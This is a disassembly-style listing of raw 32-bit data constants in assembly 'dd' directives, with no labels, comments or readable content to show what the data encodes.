		dd 0D80FE199h, 20559C6Fh, 23E54520h, 14B8044Ah,	0C168A8BFh
		dd 0F95E75C4h, 43818236h, 60F791EEh, 7AE7FAh, 32958DFBh
		dd 1C3F77ADh, 0F65EA714h, 2007484h, 644956DFh, 0E6DABB0h
		dd 0D76F3198h, 290CE860h, 730B1D8Eh, 0A168C0A0h, 201EB108h
		dd 300FBCCCh, 0C0B1BE36h, 0A098A593h, 0B21F9C87h, 0C3C62ACFh
		dd 2740D3h, 0F7C48248h,	49866AEEh, 0E460012Ah, 39249E00h
		dd 0E497B1E0h, 0D7613080h, 0AFD41458h, 1A466D00h, 0BF646F4Ah
		dd 81E96045h, 9FE3DCEDh, 0E4146E3Fh, 54E4C360h,	131EEB4h
		dd 164EC618h, 2160D129h, 2E58E4ECh, 0D6A50703h,	0F8FF8C88h
		dd 0ECD25206h, 2C32723Fh, 3D402967h, 21800B84h,	0C43CE0C7h
		dd 0D102CA75h, 4EF9A51Eh, 5759C033h, 599A296Eh,	0B05600D4h
		dd 9FBE7367h, 51CB149h,	17E89A5Eh, 0C063D40Bh, 2A197708h
		dd 9802AF9h, 0A67020F0h, 3123820Bh, 30013530h, 1CCE0569h
		dd 3C7CB3C9h, 0C80FD44Ch, 6058272Fh, 2C009C3Ah,	7C217408h
		dd 342572h, 5465CD1Fh, 0BD6A8A23h, 8CF2B000h, 88E8967Dh
		dd 0A9740006h, 0AF973239h, 0BCE2BDABh, 0CD83DA00h, 0A2F4F17h
		dd 74D300CCh, 0A626C710h, 9C168DFFh, 6C1D8B37h,	713D4202h
		dd 6C1CE0CAh, 98A9000Ch, 0DD1F2777h, 0A80FF0E0h, 0A0097A70h
		dd 0ACE4C158h, 81551FE2h, 6F3FC0AAh, 5188C556h,	35A54000h
		dd 0ED5EB4BCh, 71F487h,	0CA1E66DEh, 0FBD1FA62h,	0B5E894F8h
		dd 0EB43DA07h, 0A480F8F2h, 11175h, 0F6BC9613h, 238A1517h
		dd 25BEBB03h, 0E070800Dh, 63E756h, 71625828h, 6F7CF78Dh
		dd 80F85B3Bh, 43BE8916h, 0A0D2C3A8h, 76E65EA4h,	0DD63079Fh
		dd 4558CDA0h, 0E5DB039Eh, 0C0C424C2h, 0D3D72398h, 0A0B7190Bh
		dd 9F60CE6h, 0C0DCD7D1h, 0A739D52Ch, 0BE314D17h, 6E00F813h
		dd 4C5F4532h, 0B39239E9h, 47D94100h, 0D7CD03C1h, 80106648h
		dd 0B6AAFBF1h, 3AC9002Eh, 0B529B4B2h, 0F492010Dh, 39270803h
		dd 807F9589h, 9A53932Ch, 710606A0h, 2820400Eh, 91E44909h
		dd 24DCE45Fh, 47B8E74Bh, 0C91D515Ah, 106494E3h,	94C00A0h
		dd 0CA84AC3h, 1F3D00C8h, 7759B476h, 3000F541h, 0FE90F02Eh
		dd 106E96h, 8F1F9C87h, 0E76A1D06h, 0F300EE4Eh, 0F9849176h
		dd 31102F6h, 56347DE4h,	2440D84Ah, 4B3ECEADh, 0D3B30007h
		dd 227E6B41h, 6C6601D6h, 52C6235Ah, 0CA63E4B4h,	0D3125B01h
		dd 8BB93C85h, 0B64CD0h,	2C92FAC2h, 0C8420FA2h, 6641A700h
		dd 0E62F60EFh, 20872CF1h, 81E43B0h, 4D715DC0h, 0DE281600h
		dd 0DC8AB5A0h, 6DC302C7h, 14A12304h, 0C4CA4C60h, 0B299DB04h
		dd 29C0C6D5h, 0ACB16Ah,	62C0C7A0h, 1108939Ah, 0B303C409h
		dd 0A6F480BFh, 9DD2C87h, 5CA93CE6h, 44D7B060h, 961B9902h
		dd 609821E2h, 502DAB34h, 372CC52h, 1B3976FBh, 0FB02661h
		dd 0C3442A01h, 639515C8h, 74987Fh, 812098Ah, 7C8FC44Ah
		dd 0C4354Ch, 7B5493A8h,	10CA1Fh, 0A3ABB16Ch, 1A242676h
		dd 34505201h, 44F1D28h,	447FE430h, 1E04EE47h, 494575FBh
		dd 0DF502890h, 0C14B028Ch, 52A5976Eh, 5B02CC6Ch, 7D027B59h
		dd 41504AD1h, 0A4640810h, 0D5290178h, 822E6454h, 0B6A0603Ah
		dd 43C6560Bh, 0E8F4803Ch
		dd 0F063B3D5h, 5424E988h, 158981Dh, 0AB087107h,	0EC2B7B9Eh
		dd 0F00C414h, 0B201529Fh, 0E2BCDE92h, 0D0514A8Fh, 7E0C08A4h
		dd 0CCA89B02h, 0A06F6C39h, 36BB2DB8h, 0D6300632h, 60299E97h
		dd 0A800F098h, 2A3E6CEDh, 197890h, 2F97733Bh, 0F95019Ch
		dd 0D7D21C03h, 0EDC8B9A4h, 0DFEAFEC0h, 39671DB1h, 0DE11C01Fh
		dd 392E198h, 8CCDFA00h,	47803650h, 0AFB6139Dh, 6EF040B4h
		dd 1F5E3584h, 0EC4C3A55h, 0F03E012h, 0A3FB9591h, 925B80E9h
		dd 63440097h, 493AB6CFh, 192CA1C2h, 51637415h, 6A59219Ah
		dd 37FAC780h, 24B99F68h, 71F72A1h, 90EC482Fh, 0DF96E227h
		dd 58FE7C00h, 2A0A663Ch, 382E83Fh, 0FA212881h, 0D8D96C5Dh
		dd 83DC470Fh, 60D0AFE0h, 11311459h, 80827847h, 30E87102h
		dd 0A80267C7h, 7C899445h, 0DCCC4861h, 2014C7Bh,	0E4F6FD00h
		dd 88051F1Ah, 0F7D3A103h, 0DA3F94C8h, 8438C8DBh, 550A40F3h
		dd 11C051F6h, 977AD9FCh, 0B64A8810h, 8EC4500Bh,	0C204623Bh
		dd 0AAE07746h, 0E300610Ch, 16301062h, 704B6Fh, 19F8A98Ch
		dd 0BBBABE71h, 624798A9h, 976CDFB4h, 861F2030h,	0FDB5000Fh
		dd 5C3A8483h, 0FA09E374h, 0A9AC7Eh, 0B271A2B8h,	0A37519h
		dd 153F52B4h, 0F110B1EDh, 0EECA2700h, 4047A4E5h, 0A0740081h
		dd 68FE3062h, 560052B1h, 0D020A1E1h, 0ECD696F4h, 0F12100C1h
		dd 94D72EC0h, 0EF00CBCAh, 6538B3E5h, 34F68Dh, 0C2780C11h
		dd 0C698810Fh, 0BC5A8300h, 0A6AD14A9h, 0C8AF3C38h, 74C0CD80h
		dd 0B9D615BDh, 64439A01h, 0DD010C19h, 0F39C60h,	0F0C06B29h
		dd 68DC444Ch, 0C91B4106h, 756E0C5h, 19FDE60h, 0D24F7130h
		dd 0EDE5DC6Bh, 7C8FE48h, 74838E80h, 0D388B550h,	1F8A71ACh
		dd 5D9F7E0Dh, 9063E509h, 0A91191AFh, 0EBF6ED5Bh, 657C0900h
		dd 6C83B08Ch, 593105A5h, 0C21D509Dh, 38424C98h,	88015856h
		dd 731124EAh, 1E8137D8h, 85502551h, 919134C7h, 0F43A8ACCh
		dd 6A172C95h, 0C480EF93h, 6448A5h, 2AAD8906h, 0BFD9A13Bh
		dd 0EE0E9700h, 0AF254EA3h, 4B94EE10h, 0E5E8D098h, 288162E1h
		dd 0AAFCC0h, 77148CCAh,	42175DC9h, 0FF38823Ah, 9CF17E03h
		dd 0E005D1A9h, 14C844h,	0C3424323h, 0C7086A04h,	83E4AA03h
		dd 0A8B72F87h, 2E31C290h, 2618D021h, 8B0540B4h,	1C0959A8h
		dd 0A0875752h, 5096D7E0h, 154200AAh, 54226FD8h,	1000B5F7h
		dd 0CD678507h, 690587h,	83759570h, 0A4F797DFh, 0E049B000h
		dd 0E27CE15h, 0ACEA0007h, 2A8077C5h, 0C748CAD6h, 0A46F2668h
		dd 708052B5h, 1B431EEh,	69E8FEDh, 2C95DAC2h, 6429008Ch
		dd 2153F70Fh, 49F5AD6h,	0C2EB7D2Ch, 0ACDE4254h,	0D0EAE200h
		dd 7CFB1174h, 0B84926DBh, 0E1510504h, 0DA36C08Ch, 0A401F4E8h
		dd 0AF8E797h, 0E5C08AC7h, 4CD492D7h, 0D454341Eh, 9FAE05FEh
		dd 0C0A94AADh, 8921C723h, 0B7E8D500h, 2D672566h, 0F8010090h
		dd 0C7393FC4h, 5800C6CAh, 0ED4D2406h, 0F902826h, 5BBEA0EEh
		dd 0F1FA4BE5h, 8D32DC0Ch, 18BF8230h, 1FC6A287h,	80CAB434h
		dd 0D0AFECB0h, 0ED167039h, 84723507h, 0BDB43033h, 14706896h
		dd 0A13E00BFh, 0D9C42AFEh, 0EE010FD1h, 1364B642h, 482C470Eh
		dd 18C03E25h, 3F59550Ch, 8C742870h, 9BCCF713h, 9C2C6500h
		dd 4F8C0D30h, 0DB0EE09Ah, 59FBCA0h, 0F5479E00h,	7DF3F190h
		dd 75D8A0FFh, 3B9900EEh, 0EDBE53C5h, 8313A402h,	0AC834938h
		dd 7ED5D052h, 518C0F89h, 0C1B8A5DFh, 5B59EB56h,	956E17ECh
		dd 0F0B0C13h, 8C5C398Dh, 74F00009h, 0A92664C8h,	607F443h
		dd 3FA59905h, 0EF1304CAh, 4E38C89Bh, 0B8287892h, 4C008448h
		dd 0B09BC169h, 49409DE2h, 0D006E0EAh, 490B7041h, 2356DF0Ch
		dd 0CBEB1C0h, 0B3D154CDh, 78B4E9F9h, 8CC8F812h,	2D300026h
		dd 0A701E24Ah, 0A0F55ACh, 424C183Ch, 703564D4h,	0ED0818ACh
		dd 0C7B459B9h, 17FB6C13h, 0F9924883h, 0CC64410Dh, 0A477C3h
		dd 0F5CC30D3h, 28B5AAACh, 9C56B109h, 98644355h,	4EA403E0h
		dd 2A2C0842h, 0C8402E42h, 0F7B0D84h, 976FEFF9h,	0B6ED0076h
		dd 54C9B0BFh, 9F900400h, 526B50ECh, 4D9326F2h, 0A850448h
		dd 8F826h, 1213C64Fh, 16BC7Ch, 0C1A3659h, 0B8B6A885h, 42165E7Dh
		dd 0F4038BC8h, 11C19Ch,	4DDF3E10h, 59B3E4BBh, 0C0AA6400h
		dd 54372613h, 8CF30039h, 9DD0E829h, 881C69CEh, 0EF9FA601h
		dd 45EDB584h, 73A88090h, 0E488A8B2h, 7F090947h,	78218740h
		dd 6CA105F4h, 23EE1804h, 0FA778F29h, 83431EABh,	0C8C146FAh
		dd 52168C1Eh, 0BC4EDF2Fh, 0A09E00EAh, 0A8845751h, 0C897AC8h
		dd 8EDB0D10h, 0F016281h, 6863A2A0h, 0E0EF8DF5h,	250D4CAh
		dd 0BA4FBCE7h, 0BF60A132h, 2F007D40h, 41830B26h, 8AD5EFh
		dd 2D3BD679h, 7C22D9E5h, 0AA710D16h, 293C88h, 0ADF113A3h
		dd 1ABE80D6h, 0A58FDA39h, 0CED4803Eh, 0E2225D64h, 207B00E4h
		dd 69870628h, 7000C474h, 0B0C3C81Ch, 0B710D9h, 0FEA5D2BEh
		dd 94A6931Bh, 0C921AD00h, 9A22DB26h, 0A16400E6h, 1698683h
		dd 0DC0065A4h, 11E4A2FAh, 0CE464Fh, 0CAD92FF5h,	0D54553BCh
		dd 0D8D3F809h, 0E75080B9h, 285EB5h, 5BC2CD48h, 5CBDCAE1h
		dd 0B2DACC00h, 0EAF8CFC9h, 50FFE077h, 0E39C21h,	0DF2DD89Bh
		dd 0E028DD9Ah, 26E47A00h, 22E88EDAh, 85833AD6h,	0FEE95900h
		dd 0FD1B43C2h, 65C804A0h, 0CA15F901h, 127AF668h, 0E93CE92h
		dd 0BFBD272Ch, 0CBA9C600h, 0DCC5393Dh, 0CA959600h, 0D845B7B5h
		dd 298709AAh, 18004865h, 606B71ADh, 1BDBE900h, 0AAE244CFh
		dd 12A04D3h, 0D063F02Ch, 70C77188h, 9DDAFC24h, 0CC457800h
		dd 240615B2h, 11CD85h, 0C202E065h, 0DC01C836h, 93E250F5h
		dd 8FF0D05Bh, 276A008Ch, 74541AD3h, 884D18BEh, 0E4E92E60h
		dd 552A6301h, 508E1E67h, 12E0AAA6h, 9F0D5021h, 91C6451Dh
		dd 9B4FD3C7h, 0E0172BA3h, 0A9B479h, 48193360h, 98751A35h
		dd 0F3F58701h, 0C08EF084h, 0C837F4h, 3546D06Bh,	0D7A5796Ch
		dd 14CD2413h, 89158802h, 5C5039h, 0D5BF52C5h, 9212F4E4h
		dd 10692603h, 0B587288Ch, 7700C8h, 200A6091h, 7D4FBD93h
		dd 3583CD16h, 1CF97401h, 4530A1B6h, 0AE371DEFh,	6FA500BBh
		dd 62D496A2h, 0C9009B79h, 0A056942h, 7FE51D10h,	2161394Fh
		dd 62765287h, 5604B074h, 2430E114h, 2825E00Fh, 0BBCA0013h
		dd 0B8BA8FA3h, 111D55A5h, 0AE400E6Bh, 84E4343Ch, 6E933C30h
		dd 9CBA0376h, 60410FFh,	2A6055E2h, 0EA3B6333h, 0C3878073h
		dd 0A2FB1F5Ah, 95A400DBh, 0FA285723h, 6600E8E6h, 75ED4CB7h
		dd 3DEC54F2h, 0FC00514Fh, 0ED25F12h, 0C90F931h,	0C70149FAh
		dd 0CC58EB90h, 9720C88Fh, 62CA00C9h, 41C6C5D2h,	4D09C4D3h
		dd 83E4F4BAh, 2E2F1ACh,	0C7AAC009h, 36C1E7EBh, 4B40745Dh
		dd 4E041496h, 3CA4EDA3h, 0D8C9031Bh, 0EECB4611h, 90DCB7BFh
		dd 0E1619F15h, 0E00000B8h, 0C5BCEC4Bh, 617FCA1Fh, 197D487Ah
		dd 56502402h, 7366F500h, 6F4DEBC2h, 0BE9C09EAh,	44008A17h
		dd 4653A110h, 3DC80E1Dh, 6B9E0B80h, 97CE21A3h, 4094DC80h
		dd 6C06809Ah, 0A0573DD2h, 0A909C01Ah, 0B0D99655h, 6E9B6000h
		dd 0A217AC26h, 130A09F2h, 0A01088FFh, 209447B6h, 17098B00h
		dd 0ADAF3Dh, 147B8F23h,	0AB3CBBA0h, 90CC9B24h, 0B74DE601h
		dd 0B8ECCBA7h, 45800FA6h, 3DCAB0B6h, 427E05F1h,	5D52C0C3h
		dd 0B90C4F41h, 93B3ECDh, 0C7FC39h, 0C4BF2E3Ch, 0A985FFB1h
		dd 0BB000872h
		dd 0F7997AADh, 278133F3h, 4618A68h, 36BDCCDBh, 0DE1B620Fh
		dd 0C0E46E13h, 34202D09h, 867E00E0h, 16140405h,	9A010C51h
		dd 9EF5932Ch, 70301F4Eh, 6A2B3CF3h, 6E0AEE09h, 7480850Eh
		dd 0F7FE2997h, 15E474B0h, 5C7EA9E8h, 0ABB43115h, 0D6170104h
		dd 0D9198689h, 13828BCCh, 27B52FCh, 0B0F39770h,	8800247Eh
		dd 0E3BD1C25h, 0B6950FAFh, 0C820F46Dh, 0C233DF8Ch, 0A6A56A00h
		dd 1D24693Fh, 5D710054h, 99E026BBh, 0DD0061C5h,	8D64A09Ch
		dd 6B6CF25h, 83F5973Dh,	0AAE8119Fh, 862F9A3Fh, 478BDD50h
		dd 18B2E819h, 119BD02Ah, 89078212h, 451960A7h, 7F31D970h
		dd 0ED612806h, 6D5E00A8h, 2D7B0CABh, 0C8006EF4h, 1DB2163Ah
		dd 521C18h, 511F8FEEh, 294ECAF3h, 0E8F8BA0Eh, 95A2608Ch
		dd 72232C1h, 0DA8A50CFh, 0F52181C2h, 0B63CE40Dh, 37D3AE01h
		dd 0AD3EB1BBh, 6454FEh,	77CCCBEh, 4800393Bh, 89164DA7h
		dd 24C3F513h, 132CC54Fh, 38E4E0B2h, 42002CFAh, 6C2A91ADh
		dd 0EE71AFh, 176EAB48h,	0CE27C647h, 7A0D8B06h, 7E0967CAh
		dd 0C874005Dh, 1D713662h, 0C24DF23h, 1002C07h, 5FA846AFh
		dd 90E73A4Ch, 0D749CD80h, 13EEF67Ch, 286FC838h,	6C3E8625h
		dd 0DE860224h, 0E075CF8Ah, 0F840D11Ch, 6F2A0071h, 5C96BBADh
		dd 53011C10h, 0EEBDC94Fh, 0CCC0C832h, 0BA440938h, 0C8E1F7B9h
		dd 3AB83001h, 2BD04900h, 0C2DCD99Ch, 93800005h,	4E6F5621h
		dd 1E5D78B5h, 0FC593A60h, 0DCB0AB07h, 6D73C6Ch,	0C697EBE0h
		dd 1DEC9865h, 0D44DD1h,	2A01D854h, 0B038524h, 0C2CEBD58h
		dd 631100ECh, 96EDB651h, 1809F7FCh, 0A04A885Eh,	0B1E2C3F8h
		dd 3727BDAh, 90755210h,	6FD9C26Ch, 5415601Dh, 350E797Eh
		dd 0C2C75B47h, 0E08A25D7h, 98C87888h, 14FF0624h, 0B8831037h
		dd 7CD0CB5Bh, 2C4231h, 90F3E551h, 0D8AD9B21h, 20FD1F01h
		dd 4D93D250h, 66C8402Fh, 98759A0h, 1AF06990h, 60BDB824h
		dd 3EC58038h, 88668EA4h, 68061389h, 38204043h, 329FDCC0h
		dd 0FF83A30Bh, 0A0320F56h, 0CCDFAC81h, 0CECCEh,	5DC1B55Ch
		dd 2B9A9F3Ah, 102E2F60h, 3F58BBh, 8684125Fh, 0B7F26964h
		dd 0ABDF1F00h, 66F88587h, 0F98C1F41h, 612B00A4h, 0B1B3FFBCh
		dd 30C1FAF7h, 0EC76FAFCh, 5F9C6803h, 599EE018h,	0A274001Ah
		dd 0A36F1655h, 9019D54h, 79E0F525h, 980F322h, 1C77DAF1h
		dd 0B4EC8DD8h, 0DE29BC16h, 5DE03040h, 910F53h, 8761CAEBh
		dd 0D09C973Eh, 80495B25h, 9A448FE0h, 43920002h,	81D3229Bh
		dd 0BC00477Dh, 0A895F8C0h, 0B996D9A4h, 14938860h, 0C0999201h
		dd 0DD405CE6h, 0A1982C8h, 87C283ECh, 24C10BF0h,	7798FCE0h
		dd 0FBF0FC00h, 997B75A0h, 0B89436h, 67DAB7BFh, 921C4AC1h
		dd 0BB803D19h, 6D3ED444h, 0EF7D020Fh, 6A5B3BD7h, 22003058h
		dd 92C29DE4h, 1E36C53Fh, 80DC63AEh, 6DD15DF9h, 0A700CE19h
		dd 923841CDh, 96E79FAh,	0EDFD0C81h, 6F0F5CF8h, 0C3193935h
		dd 0A0D005B7h, 1EF398h,	32A88863h, 66DEC2C1h, 4CA8D00h
		dd 0D858A03h, 7935006Dh, 1E21BCE0h, 0A717E4ADh,	6F002F7Fh
		dd 9459CEC9h, 896C2h, 0AF41C4FEh, 0E75A1A15h, 2D3BF5ACh
		dd 4CC038A8h, 7CEB62h, 0C9C1A564h, 0DF4CF63Ah, 2D8334BEh
		dd 0EF3EBFF7h, 8160D6C2h, 59285BC5h, 4015438h, 3F8FF12h
		dd 1A7DB11h, 2E52060Fh,	0FE8E2800h, 798D0B09h, 2C760385h
		dd 2A7A11B8h, 0F2F80907h, 0E501340Fh, 46A9D08h,	0E34E88h
		dd 99EE5B85h, 6DFE007Bh, 7ECFFA1Bh, 0FC008743h,	40734905h
		dd 0EFC934h, 6F36A9C3h,	9CF95F4Fh, 0A3580100h, 0E81BAF68h
		dd 0EEF5F078h, 5C3000B3h, 1E15310Dh, 0C61CD552h, 9600144Eh
		dd 0CFEF84EEh, 879A0F80h, 0A3220C8Ah, 0D040510Fh, 0F5FDC94Bh
		dd 1314207Bh, 0EC487F76h, 0D5200FCh, 719454D6h,	0A88B4C69h
		dd 0A5E7301h, 30E8E08Fh, 9E005190h, 8088FD85h, 18817Ah
		dd 2B68A51Bh, 46462D5h,	0EE15E100h, 0DEBE748Ah,	10D494AFh
		dd 1FD3C4A3h, 5FCA9900h, 4F0058F3h, 3D06FD6Fh, 26E96459h
		dd 806118h, 55A0E0E7h, 750CD5B0h, 51B39FBEh, 24CB45Eh
		dd 8C5A3C3h, 52015070h,	0C6427231h, 0C0807AB1h,	10737483h
		dd 0B31B3F2Dh, 8A58D56Ah, 972CD606h, 2EC8409Dh,	0C076F467h
		dd 1B983495h, 11459A78h, 7C47BBA0h, 0B236D200h,	0D302F10h
		dd 90910064h, 3C4A2928h, 0A8767DDBh, 0C836B906h, 7AB6CDC4h
		dd 6C73E9Ch, 946AF994h,	4812D521h, 6F00A4E7h, 298CF087h
		dd 2E04D530h, 0D4407F90h, 0EBB41C80h, 0C4983Ah,	7C6491A5h
		dd 0B1FE8C96h, 920C1005h, 0BC02DAF0h, 748186ACh, 0A0791724h
		dd 0FD003CA4h, 0B397C954h, 0E923F2Ch, 2263905Fh, 50599349h
		dd 0DE6C1300h, 15FBA4Ah, 5890F85Dh, 21D5A046h, 6FAC24DEh
		dd 47A69F00h, 341F5EA7h, 3FB71F4Ah, 6073998h, 90522D9Ch
		dd 95D93C19h, 0A1E39704h, 0C4C823DFh, 0A09E2D15h, 84001942h
		dd 25677366h, 0BEABC00h, 1472576Dh, 0CF4513C2h,	0AF8C041h
		dd 8100D69Dh, 1504FF52h, 167C8FA5h, 0A3DD1419h,	0D3E8031Ch
		dd 88346454h, 484E54Dh,	8A017CDCh, 2548BC20h, 4C4887F7h
		dd 0E866C5C1h, 0B3D29DD1h, 0CD1DD014h, 1D57F00Bh, 1D280D7Dh
		dd 956B0178h, 4C8708h, 0A1FA4305h, 816CD28h, 8589C419h
		dd 80057E18h, 1EFAC02Ch, 35EFD000h, 8FC8F6CEh, 4EA938F3h
		dd 57702F0h, 0CD21CB87h, 5E511048h, 880083E0h, 0A54A498Ah
		dd 30B99D1Dh, 7B90CFCCh, 9521420Dh, 6207010Bh, 0C0364AFAh
		dd 91FF0B2h, 3C01122Eh,	0BAF744D5h, 3BEF9FC4h, 0E1001D89h
		dd 53C654A2h, 5576492Eh, 9B7B4800h, 4AA55EDBh, 8B2D0109h
		dd 4F6D891Fh, 5156F45Dh, 0FCA10300h, 38E0F12Ch,	0B66B0199h
		dd 0FE8F47F3h, 7B4DFC88h, 0BD676D00h, 0EC022260h, 431C15ABh
		dd 0A8009477h, 0AAF21478h, 72E01E4Eh, 83056B38h, 9F537F41h
		dd 429059Dh, 8481Bh, 4ECB28D9h,	19384991h, 4F90D47Ah, 0F6D41F00h
		dd 8028667Dh, 71DE856h,	0F25EA587h, 9562307Eh, 0C8F4BD86h
		dd 37C1593Fh, 0A0E008D0h, 3745E1BCh, 4130B195h,	0C016C66Ah
		dd 0CB124676h, 0DC007D20h, 3CC98A8Ch, 0CE9E81Dh, 0D71EDE47h
		dd 24000111h, 0BBD2355Bh, 0C4F0420h, 85F6A286h,	8300B490h
		dd 7AEF31Ch, 76484C8Bh,	0D44E5121h, 2ABF98F4h, 0DC53F0h
		dd 0EB45512Eh, 430CD8B2h, 2A7C8E7Bh, 9142B601h,	6DA35381h
		dd 0DD1E8C53h, 60FB804Fh, 18447DFAh, 0CD9858h, 84FD998h
		dd 228F4E29h, 2A6820Ch,	2CE23146h, 171F425h, 6BD5CB95h
		dd 0F1188CF3h, 78072156h, 27DA00B3h, 0BD9525CFh, 0AC76881Fh
		dd 175DE03h, 0A56BEA4Bh, 906FA10Ch, 0C97F0953h,	9C201CADh
		dd 1681990Bh, 455EE600h, 304AA6B2h, 4F800303h, 658B0578h
		dd 94DF1598h, 4795D801h, 19AD9BE4h, 55D34181h, 30C3E1F4h
		dd 0E600699Ch, 545E0A07h, 3AAD4829h, 0F789F915h, 20A00543h
		dd 0A539D294h, 8714F800h, 0AC59707Ch, 27160FEBh, 4FE093FAh
		dd 46668D8Ah, 991FAA00h, 23A0804Eh, 913890C8h, 0F50B1744h
		dd 0F4DFE028h, 0DAE88C0Eh, 0BF6C2702h, 8F01610h, 4A20C349h
		dd 83C8C98Eh, 0C1000460h, 15624E65h, 60137580h,	3DFD636h
		dd 63672FF0h, 30105A19h, 788A59CBh, 0C4B7C7Fh, 77D243FDh
		dd 0AEE2FE10h, 4889B107h, 0C4312DE5h, 20401CF5h, 5A8EC1h
		dd 84473B03h, 4F9C5EA6h, 0C03DC676h, 1F40D042h,	0A7EF0E07h
		dd 4E0037DDh
		dd 0E9B584h, 0EB3588D4h, 8B94BCBEh, 0A6044E2h, 0E8704B30h
		dd 3E860077h, 0C60EF187h, 9B3C8BD5h, 0A87630EEh, 7ECFC10h
		dd 0CE1620D0h, 0A2680093h, 0F517B967h, 0E909323Dh, 58DEDDh
		dd 9A829D29h, 80161AE8h, 0D9B0C7B4h, 710A0D4Bh,	0F0A84AB1h
		dd 81DF33DFh, 0E069051Bh, 0CF160E4Eh, 7CC09918h, 0A02AF3C7h
		dd 91D69E01h, 0BFE1B10Bh, 0EEED518Ch, 111DB639h, 8C00A11Ah
		dd 858BF24Ah, 10B7270h,	2D6EB04Eh, 0CCD594E2h, 1B1D173Bh
		dd 31408480h, 76450165h, 198EAD2h, 889B0F7Dh, 0C493B7B2h
		dd 640ED3E6h, 83AE8D9Eh, 11D25BCCh, 80BD8F10h, 0D786AF01h
		dd 0B0048885h, 0E5E88818h, 7A7C2C40h, 1804ACF2h, 10F34B29h
		dd 0CA01BD1Ch, 0D1DD07E0h, 2980754Dh, 8922A9E3h, 0FA3090E4h
		dd 4E6B10B5h, 0E59C0CABh, 93297BCDh, 0D659F860h, 26C5F4h
		dd 372AF0DDh, 1759FB8Ch, 0EA333800h, 4EAD8D69h,	47FC1818h
		dd 0CBB941C2h, 0A9D78201h, 27CCE57Ch, 1E81A1BAh, 0EE4956C5h
		dd 9841C0CFh, 0E060CE70h, 0C4E78D39h, 187200BBh, 89E363E8h
		dd 0BC01CDA9h, 0BACF0F15h, 9986F954h, 582BD311h, 0F8615E00h
		dd 0FA038C39h, 0D5720078h, 24921CCh, 6A0EEF33h,	151BE929h
		dd 8B640094h, 3D49AC15h, 7FEE1938h, 80980881h, 15A2E951h
		dd 5091BC9Ah, 257E53Ch,	41D48725h, 0B0A786F4h, 0FB2F70F9h
		dd 0A20C4C6Ch, 41D07CC9h, 0D1D560E7h, 0A473BB2Ah, 0ACC15E00h
		dd 0A8FB44A9h, 4E2E01D9h, 6EB62F75h, 2A088F5h, 15A6601Ch
		dd 0B54349A9h, 159DBE80h, 4F00DF6Bh, 8B516D6Ah,	0AB8E277h
		dd 0C72EBBB2h, 2C63BBCh, 4955C51Dh, 13DD31E6h, 0E4C4E082h
		dd 0AD1C049Fh, 902D29F0h, 4DBE8D24h, 2D0FB3Ah, 3DBCD8AFh
		dd 0FDD04053h, 97F4001Ah, 7DA82295h, 4C24D1B2h,	0EE81208Bh
		dd 0D83492F3h, 0A05C9850h, 7397013Fh, 0FB2860DEh, 430898AFh
		dd 4CB89631h, 8D07C03Dh, 40C91A87h, 9D740646h, 0ED144C90h
		dd 80287BF3h, 73A63FADh, 228B4396h, 0E5970544h,	1D1393Dh
		dd 11E2C0DEh, 0DC50244Ah, 0FD7DA719h, 621747B0h, 0E093BC75h
		dd 8CB543ECh, 0AAC0CD24h, 0FC5906E8h, 16EBE67Ah, 52EE17Eh
		dd 3154CD41h, 0C1BEDE4h, 0A015089Fh, 0BBC49D49h, 1576BD40h
		dd 0BC125CB4h, 6C43FA54h, 3BF4AFBh, 0F1B8C81h, 1062C0A6h
		dd 181A8B60h, 0A2111599h, 64908D49h, 290BF16h, 8026FD8Bh
		dd 89F8CA8Ch, 0F057EC81h, 62F520CFh, 90FE11E9h,	7E3461Ch
		dd 4A24C520h, 40E3C4E8h, 0FAC50193h, 0FD4B0411h, 584FBBDCh
		dd 88C284C8h, 30306DC4h, 0E79298FFh, 5919C0CFh,	581A9C8Fh
		dd 0A0F1E800h, 1E8A0C64h, 0E0835E42h, 0A901E448h, 0FC34C07Fh
		dd 999D3FABh, 54B914AAh, 5AC50280h, 0CE4C8E49h,	8B81B02Ch
		dd 6FCF01C7h, 5D97EE06h, 0BF4870CBh, 0E4CD490Ah, 2409E0B4h
		dd 55C80BDh, 0CE9893A1h, 768390B1h, 0D9008794h,	1F6755D2h
		dd 0EC8566Fh, 0C7EB09D7h, 4721228Ch, 0D0678D04h, 50C8C610h
		dd 0DC7A20h, 94289535h,	602D3AC1h, 0C0B4A048h, 49334CD0h
		dd 0C00B0023h, 6A7ABDFh, 0C2031EA5h, 0F53558A3h, 0FB53E97Dh
		dd 90DCD2F8h, 0C0C46284h, 0D101B50Ch, 68224152h, 22427B3Ch
		dd 8D5000D4h, 706096D8h, 0AE388335h, 0B99C50F1h, 27668201h
		dd 9CFFCCF2h, 4637848h,	666F1967h, 20DC32E5h, 0DB677BB5h
		dd 0C831A300h, 0AB1B32E1h, 653A0950h, 58308C29h, 9F1115A4h
		dd 0A3888549h, 157BC480h, 0F7D0F8h, 0E5354992h,	28E4A2F6h
		dd 0F489CB20h, 0E04C3D54h, 708041B8h, 5734177Dh, 0D909B84Eh
		dd 2873673h, 181BE794h,	0AE1315A5h, 0A838AD49h,	159C01EBh
		dd 0A563FD51h, 3635E0EFh, 0AB2AD4E2h, 937FD026h, 4FE4F1C0h
		dd 1DFBD9A1h, 403F947Bh, 985BC7BCh, 0CB096BC5h,	1FC23074h
		dd 8BD011D8h, 0EA2018ECh, 0D4F0005Dh, 2A42A661h, 13F3EE9h
		dd 72D01D23h, 55B85970h, 70F52807h, 45FB29E0h, 54BB0AF8h
		dd 867C809Ch, 0BE504E48h, 8D11A899h, 0A03F9F80h, 5E43A673h
		dd 80292Ah, 0C93DB79Dh,	0A0EDCF78h, 45910600h, 0D1E3F5C1h
		dd 6980F7A6h, 22F3C21Ch, 0ABF8B5EAh, 1B0050B9h,	0C6C7CE6Fh
		dd 8FFF03FAh, 55D48C38h, 933139D6h, 1BD9A9F5h, 0FE3B6CE0h
		dd 0C0A429h, 73689B0h, 0D9E93F9Dh, 0F0B35601h, 3AAB5DE1h
		dd 5410BBC4h, 9A4CAh, 0D35FA29Eh, 0E6418276h, 8016A73Bh
		dd 9873B2DCh, 24FCA0C3h, 60C0555Fh, 0CB875422h,	0AC007EF2h
		dd 0D379381h, 11036D2h,	0EE3E83C8h, 485CBC1Fh, 420245A8h
		dd 0FF8FCB13h, 2984C90h, 6F1D6757h, 2319C886h, 678F4910h
		dd 0C4B24800h, 40AD1A69h, 6F120AA2h, 11CCBF70h,	7B019279h
		dd 8B06738Ch, 99C09C62h, 0F3BA3DE3h, 7C8AF727h,	84D2154Eh
